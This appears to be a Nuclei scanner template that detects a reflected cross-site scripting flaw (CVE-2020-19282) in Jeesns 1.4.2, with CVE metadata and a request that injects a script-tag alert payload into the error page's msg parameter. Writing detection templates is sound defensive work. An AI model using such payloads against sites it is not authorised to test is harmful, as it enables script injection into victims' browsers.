id: CVE-2020-19282

info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting that allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Jeesns or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/11
    - https://www.seebug.org/vuldb/ssvid-97940
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19282
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19282
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.47808
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
  tags: cve2020,cve,jeesns,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200d8c3150b6b8a8c0f5c30dc6af03f5ed59f49c7172d5b9c124b0069156c4632002202f26a4fd67b93582ef66040e621eed506f3dc6444c34de7e52f2f8a70cd39ae9:922c64590222798bb761d5b6d8e72950